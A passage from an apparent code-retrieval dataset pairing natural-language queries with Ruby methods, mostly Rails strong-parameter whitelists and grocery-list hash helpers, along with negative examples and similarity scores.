move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def traffic_params params.require(:traffic).permit(:statistic_selected, :count_visits_per_day, :hourly_daily_distribution, :percent_new_visit, :visit_bounce_rate, :avg_time_on_site, :statistic_type, :page_views_per_visit, :website_id, :statistic_id, :monday_start, :count_weeks, :change_count_visits_percent, :change_bounce_visits_percent, :direct_medium_percent, :organic_medium_percent, :referral_medium_percent, :advertising_percent, :advertisers, :max_duration_scraping, :min_count_page_advertiser, :max_count_page_advertiser, :min_duration_page_advertiser, :max_duration_page_advertiser, :percent_local_page_advertiser, :duration_referral, :min_count_page_organic, :max_count_page_organic, :min_duration_page_organic, :max_duration_page_organic, :min_duration, :max_duration, :min_duration_website, :min_pages_website, :execution_mode) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69780594", "0.678054", "0.6742781", "0.67387927", "0.67346025", "0.6590683", "0.6501642", "0.6495788", "0.6479752", "0.64763314", "0.645457", "0.6437739", "0.6377168", "0.6372484", "0.6363871", "0.63179374", "0.62981373", "0.6297456", "0.62916917", "0.6290227", "0.628954", "0.62877893", "0.62814754", "0.62416226", "0.6237962", "0.62168854", "0.62127215", "0.62084496", "0.61927646", "0.6176822", "0.6174079", "0.6171225", "0.6161419", "0.61507314", "0.6150071", "0.6145409", "0.61204594", "0.61135256", "0.6105225", "0.6103249", "0.6088041", "0.6079626", "0.6070542", "0.6060409", "0.60198915", "0.6016795", "0.6010659", "0.60103244", "0.6005393", "0.6005393", "0.6000696", "0.60000104", "0.59931517", "0.59916013", "0.5991397", "0.5990416", "0.5979021", "0.5965926", "0.59582806", "0.59579134", "0.5957629", "0.5956672", "0.59518754", "0.59510773", "0.5942638", "0.5937516", "0.59361875", "0.59361875", "0.59336793", "0.5928626", "0.5925229", "0.59243226", "0.59174913", "0.5907821", "0.5907719", "0.5906177", "0.59056896", "0.5897028", "0.5896294", "0.5895856", "0.5893494", "0.58926904", "0.589066", "0.58854234", "0.58809334", "0.5878489", "0.58727074", "0.5868653", "0.5866631", "0.58666086", "0.5866305", "0.586484", "0.58631617", "0.5861481", "0.5861059", "0.5859114", "0.5858489", "0.585326", "0.58530635", "0.5848788", "0.58479697" ]
0.0
-1
Define a method that makes hash create a new list item, quantity
def new_list(item, quantity) groceries_list = {item => quantity} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new_qty(list, item, qty)\n list[item] = qty\n return list\nend", "def add_item(hash_list, new_item, quantity = 1)\n hash_list[new_item] = quantity\n p hash_list\nend", "def add_to_list(list_hash, item, qty)\r\n\tlist_hash[item] = qty\r\n\tlist_hash\t\r\nend", "def list_add(hash_items, item_name, quantity = 1)\n hash_items [item_name] = quantity\n return hash_items\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n list\nend", "def add_item(list, item, quantity)\n\n\tlist[item] = quantity\n\tlist\n\nend", "def add_item(list, item, quantity)\n #list = item.push\n list[item] = quantity.to_i\n list\nend", "def add_item(list_name, item, quantity=1)\r\n# input: list, item name, and optional quantity\r\n# steps: add item and its quantity to the hash\r\n list_name.store(item, quantity)\r\n# output: hash with new item\r\n p list_name\r\nend", "def add(list, item, quantity)\r\n list[item] = quantity\r\n list\r\n\r\nend", "def add_item(item, list, quantity)\n list[item] = quantity\nend", "def add_item(list, item, qty)\n list[item] = qty\n list\nend", "def add(list, item, quantity)\r\n\tlist[item] = quantity\r\n\tlist\r\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n return list\nend", "def add_item(hash, item, quantity)\n\t hash[item] = quantity\n\t return hash\nend", "def add_item(hash, new_item, qty)\n hash[new_item] = qty\n hash \nend", "def add_item(new_list, item_name, quantity=1)\r\n \r\n new_list[item_name] = quantity\r\n \r\nend", "def add_item(list, add_item, add_quantity=1)\n# steps:\n # Add item as key and quantity as value to final_list hash(item and quantity will be user inputs)\n list[add_item] = add_quantity\n # Return updated hash\n list\nend", "def add_item(item,quantity,list)\n\tlist[item] = quantity\nend", "def add_item(list, name, quantity = 1) \r\n# input: item name and optional quantity\r\n# steps: \r\n# create add method with name and optional quantity arguments\r\n# add name and quantity to hash\r\n list[name] = quantity\r\n# output: print \"your item has been added to the hash\"\r\n return list\r\nend", "def add_item(hash, item, quantity)\n\n hash[item] = quantity.to_i \n\n return hash\nend", "def add_item(item, quantity, list)\n\tlist[item] = quantity\n\titem\nend", "def add_item(item, quantity, list)\r\n list[item] = quantity\r\n p list\r\n list\r\nend", "def add_item_to_list(hash, item_to_add, qty)\n hash[item_to_add] = qty\nend", "def add_item(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend", "def add_item(hash_of_items, item, quantity=1)\n hash_of_items[item] = quantity\n hash_of_items\nend", "def add(item, quantity, hash)\n hash[item] = quantity\nend", "def list_update(hash_items, item_name, quantity)\n hash_items[item_name] = quantity\n return hash_items\nend", "def add_item(list, key, quantity)\n list[\"#{key}\"] = quantity\n list\nend", "def add_item(item, quantity=1, hash)\n# get item name and quantity\n# if there's no quantity, set it to 1\n\thash[item] = quantity\n\t# output: return the hash with updated key/value pairs\n\thash\nend", "def add_item(list, item_name, quantity)\n list[item_name.to_sym] = quantity\n list \nend", "def add_item_to_list(list_name,item_to_add,quantity_to_add = 1)\n#create a hash element with the item name and the quantity, if specified\n#if no quantity is specified, default value = 1\n new_item = { \n item_name: item_to_add,\n quantity: quantity_to_add\n }\n# insert the hash into array \n list_name.push(new_item)\n new_item\nend", "def additem(list, item, number = 1)\n# input: hash, item name and optional quantity\n# steps: push an item into the hash\n list.store(item, number)\nend", "def add_new_items(list, item_name, quantity=1)\n list[item_name] = quantity\n list\nend", "def add (list, item, quantity)\n\tlist[item] = quantity\nend", "def update_quantity(item, list, quantity)\n list[item] = quantity\n return list\nend", "def add_item(list, item, quantity)\n list[item] = quantity\nend", "def add_item(list, item, quantity)\n list[item] = quantity\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n p list\nend", "def add_item(existing_list, new_item, item_integer)\n\t# input: item name and optional quantity\n\t# steps: pass in item name as key and assign value\n\texisting_list[new_item] = item_integer\n\t# output: hash\n\tp existing_list\nend", "def add_item(list, item, quantity=0)\n list[item] = quantity\n list\nend", "def add_item(my_list, item, quantity)\r\n #input: a string seperated by an integer \r\n #steps: use a method that adds an item and quantity to the hash.\r\n my_list.store(item, quantity)\r\n # use a hash or store method hash.merge!(key => value) \r\n #output = hash with the updated item/quantity. \r\n my_list\r\n \r\nend", "def add_item(hash, item, quantity)\r\n\thash.store(item, quantity)\r\n\thash\r\nend", "def add_item_or_update_quantity(hash_of_list, item_name, item_quantity = 1)\n hash_of_list[item_name] = item_quantity\n hash_of_list\nend", "def add_item_to_list(string, quantity, hash)\n\thash[string.to_sym] = (hash[string.to_sym] || 0) + quantity\n\tp hash\nend", "def update_item_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def add_to_list(item,quantity,list)\n list[item]=quantity\nend", "def new_quantity(list, item, qty)\n list[item] += qty\n p list\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity (item,list, quantity)\n list[item] = quantity\nlist\nend", "def add_item(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend", "def add_item(name, quantity, list)\n list[name] = quantity\n p list\n return list\nend", "def add(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def item_list_adder(list, items, quantity)\n list[items] = quantity\n list\nend", "def add_item(list, item, qty)\n list[item] = qty\n p list\nend", "def add_item (list, item, qty)\n list[item]=qty\nend", "def add(input_list, item, quantity)\n input_list[item] = quantity\nend", "def add_item(current_list, item_added, quantity)\n current_list[item_added] = quantity\n current_list\nend", "def add_item(item, quantity, list)\n\t# steps: \n\t# if the item is already in the list\n\tif list[item.to_sym] \n\t\t# add to the quantity\n\t\t#list[item.to_sym] = list[item.to_sym] + quantity\n\t\tlist[item.to_sym] += quantity\n\t# otherwise\n\telse\n\t\t# make a new key with the input quantity\n\t\tlist[item.to_sym] = quantity\n\tend\n\t# output:\n\t\t# updated list\n\tlist\nend", "def update_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def add_item!(list, item, qty=1)\r\n list[item] = qty\r\n list\r\nend", "def add_item(list,item_name, qty)\n list[item_name] = qty\nend", "def add_item(list,item,quantity=1)\r\n list[item] = quantity\r\n list\r\nend", "def update_quantity(new_list, item_name, quantity)\r\n \r\n new_list[item_name] = quantity\r\nend", "def add_item(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def add_item(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def add_item(list, item, quantity = 1)\n list[item] = quantity\n list\nend", "def update_quantity(item, quantity, hash)\n hash[item] = quantity\n return hash\nend", "def add_list(item_name, item_list, quantity = 1)\n item_list[item_name] = quantity\nend", "def change_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_quantity(hash, item, quantity)\n\thash[item] = quantity\n\treturn hash\nend", "def add_to_list(new_item, quantity)\n #addition = { new_item => quantity }\n addition = Hash.new\n addition[new_item] = quantity\n new_list = addition.merge($old_list.to_h)\n #p new_list\nend", "def add_item(input_hash, item, qty = 0)\n# steps: use input item as key and input quantity as value \n input_hash[item] = qty\n# output: hash data structure of key/value pairs\n return input_hash\nend", "def add_item(shopping_list, item, quantity)\r\n\tshopping_list[item] = quantity\r\n\tshopping_list\r\nend", "def update_quantity(hash, item, quantity)\n hash[item] = quantity\n return hash\nend", "def update_quantity(list, item, quantity)\r\n\tlist[item] = quantity\r\n\treturn list\r\nend", "def add_items(list, item_name, quantity=0)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend", "def add_item(hash, new_item, item_quantity)\n hash[new_item] = item_quantity\nend", "def update_qty(list_hash, item, qty)\r\n \tlist_hash[item] = qty\r\n \tlist_hash\r\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n p list\nend", "def add_item(list, new_item, quantity=1)\n list[new_item] = quantity \nend", "def add_item(list, item, qty = 1)\n list[item] = qty\n\n list\nend", "def add_item(list, item, quantity=0)\n\tlist[item] = quantity\n\tlist\nend", "def update_list(list, item_name, quantity)\n list[item_name.to_sym] = quantity\n list\n\nend", "def update_quantity(list, item, quantity)\nlist[item] = quantity\nlist\nend", "def add_item_to_list(list, new_food, quantity)\n list[new_food] = quantity\n list\nend", "def add_item(list_hash, food, quantity = 1)\n list_hash[food] += quantity\n return list_hash\nend", "def add_item(list_hash, food, quantity = 1)\n list_hash[food] += quantity\n return list_hash\nend", "def updated_quantity(list, item_name, quantity)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend", "def input (list, item, quantity)\n\tlist[item] = quantity\nend", "def add_item(list, new_item, opt_quant)\n list_hash = list\n if opt_quant == nil || opt_quant == 0\n opt_quant = 2\n end\n list_hash[new_item] = opt_quant\n return list_hash\nend", "def add_to_grocery_list(grocery_list, item_name, quantity=1)\n # steps: add item to hash and set quantity\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend", "def add(item, quantity, hash)\n hash[item] = quantity\n puts hash\nend", "def add_item(list, item, qty = 1)\n list[item] = qty\n return list\nend", "def add_to_list(list, item, quantity)\n #method to add items\n list[item] = quantity\nend", "def list_create(items)\n hash_items = Hash.new\n default_quantity = 1\n\n # adding a slick way to initialize hash in one line, but not as readable\n # return items.split(' ').product([1]).to_h\n\n items.split(' ').each do |x|\n hash_items[x] = default_quantity\n end\n\n return hash_items\nend", "def list_add(list, item_name, quantity=1)\n list[item_name] = quantity\n p list\nend", "def add_item(item, list, quantity=1)\n if !list.has_key?(item)\n list[item] = quantity\n return list\n else\n list[item] += quantity\n return list\n end\nend", "def add_item(list, item, quantity=1)\n list[item] = quantity\n p list\nend", "def list_add(list, item_name, quantity=1)\r\n list[item_name] = quantity\r\n p list\r\nend" ]
[ "0.8083257", "0.80292845", "0.7974392", "0.7936787", "0.78322953", "0.78252417", "0.78235435", "0.78122985", "0.7789598", "0.7770929", "0.77674854", "0.77666646", "0.7763107", "0.7755968", "0.7739844", "0.7732639", "0.7709712", "0.77030945", "0.7678646", "0.7676254", "0.7671413", "0.76691043", "0.76689357", "0.76667744", "0.7663883", "0.7652961", "0.76509845", "0.76445985", "0.7640946", "0.7637725", "0.76256883", "0.7612068", "0.7599845", "0.7594144", "0.7580577", "0.7580517", "0.7580517", "0.7574569", "0.7563286", "0.7557135", "0.7547347", "0.7545648", "0.75452876", "0.75390136", "0.7538213", "0.7531623", "0.75272435", "0.7525299", "0.7525299", "0.75234", "0.75169885", "0.7509979", "0.7502564", "0.74973476", "0.7491472", "0.74888396", "0.74877626", "0.74872524", "0.74826384", "0.7467343", "0.74665195", "0.7454422", "0.745061", "0.7448085", "0.7443897", "0.7443897", "0.74399525", "0.74351245", "0.7434838", "0.7412289", "0.74108565", "0.7406618", "0.74060625", "0.7400721", "0.7400508", "0.7399615", "0.73986113", "0.7395605", "0.73943734", "0.7388202", "0.73842824", "0.7383223", "0.73773324", "0.73771536", "0.7375441", "0.73735636", "0.736622", "0.736622", "0.73607206", "0.7358299", "0.73482186", "0.73414606", "0.7341028", "0.73374367", "0.7335046", "0.73272955", "0.73256", "0.732489", "0.73239416", "0.73226535" ]
0.7548714
40
pseudocode define a method that adds an item to our list add a key/value pair to our existing list output updated grocery list
def add_item(item, quantity, groceries_list) groceries_list[item] = quantity end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_to_grocery_list(grocery_list, item_name, quantity=1)\n # steps: add item to hash and set quantity\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend", "def add_item(grocery_list, item, qty)\n grocery_list[item] = qty \n grocery_list\nend", "def add_item(item, item_qty, grocery_list)\n grocery_list[item] = item_qty\n # print_list(grocery_list)\n grocery_list\nend", "def add_item(grocery_list, new_item_to_add, quanity)\n\tgrocery_list[new_item_to_add] = quanity\n\tp grocery_list\n\nend", "def add_item (groceries_list, new_item, quantity)\n\t# add 1 new item to list\n\tgroceries_list.merge!({new_item => quantity})\n\t# return updated list\n\tgroceries_list\n# output: hash\nend", "def add(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def add_item(new_item)\n grocery_list.push(new_item)\n return grocery_list \nend", "def add_an_item(grocery_list, new_item, qty = 1)\n grocery_list[new_item] = qty\n grocery_list\nend", "def add_item(grocery,item_name,quantity)\n # input: list, item name, and optional quantity\n # steps: insert item_name as a key and quantity as a value to the hash \n grocery[item_name] = quantity\n # output:display the latest list\n display_list(grocery)\nend", "def add_item(grocery_list, item, quantity)\n grocery_list[item] = quantity\n p grocery_list\nend", "def add_item (grocery_list, grocery_item)\n grocery_list.store(grocery_item, 0)\nend", "def add_item(grocery_list, new_item, new_quant=1)\r\n grocery_list[new_item] = new_quant\r\n p grocery_list\r\nend", "def add_item(grocery_list, item, quantity=1)\n grocery_list[item] = quantity\n return grocery_list\nend", "def add_item(grocery_list, item, quantity=1)\n grocery_list[item] = quantity\n grocery_list\nend", "def add_item(grocery_list,new_item,quantity=1)\n grocery_list[new_item] = quantity\nend", "def add_item(item, grocery_list, quantity = 1)\n grocery_list[item] = quantity\n return grocery_list\nend", "def add_item(item, grocery_list, quantity = 1)\n grocery_list[item] = quantity\n return grocery_list\nend", "def add_item(grocery_list,item_name,quantity)\r\n\t \r\n\t grocery_list[item_name] = quantity\r\n\t \r\n\r\nend", "def add_to_list(item, grocery_list)#add item and grocery_list to method\n if grocery_list.include?(item)#check if item is on list\n puts \"#{item} is already on your list\"#if item on list\n else\n grocery_list.push(item)#push new items to grocery list\n end\nend", "def current_list(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend", "def add_items(grocery_list, item, quantity)\n if grocery_list.include? item\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\n grocery_list\nend", "def add_items(grocery_list, item, quantity)\n if grocery_list.include? item\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\n grocery_list\nend", "def add(item, quantity, grocery_list)\n if grocery_list.include?(item)\n p \"Item is already on the grocery list.\"\n else \n grocery_list[item] = quantity\n end\n #print_list(grocery_list)\nend", "def add(item, quantity, grocery_list)\n if grocery_list.include?(item)\n p \"Item is already on the grocery list.\"\n else \n grocery_list[item] = quantity\n end\n #print_list(grocery_list)\nend", "def add_item(grocery_list, item_name, qty = 1)\r\n\tgrocery_list[item_name] = qty\r\n\treturn grocery_list\r\nend", "def add_item(item_name, grocery_list, quantity=1)\n grocery_list[item_name] = quantity\n grocery_list\n end", "def add_item_to_list(grocery_list, grocery_item, quantity = 1)\n grocery_list.store(grocery_item,quantity)\n puts \"I've added #{grocery_item} to the list. Please pick up #{quantity} of these.\"\nend", "def add_item(grocery_list, item_name, quantity=1)\n\tgrocery_list[item_name] = quantity\n\treturn grocery_list\nend", "def add_item(grocery_list, item_name, qty = 1)\n\tgrocery_list[item_name] = qty\n\treturn grocery_list\nend", "def add_items(item, quantity=0, grocery_list)\n grocery_list[item] = quantity\nend", "def 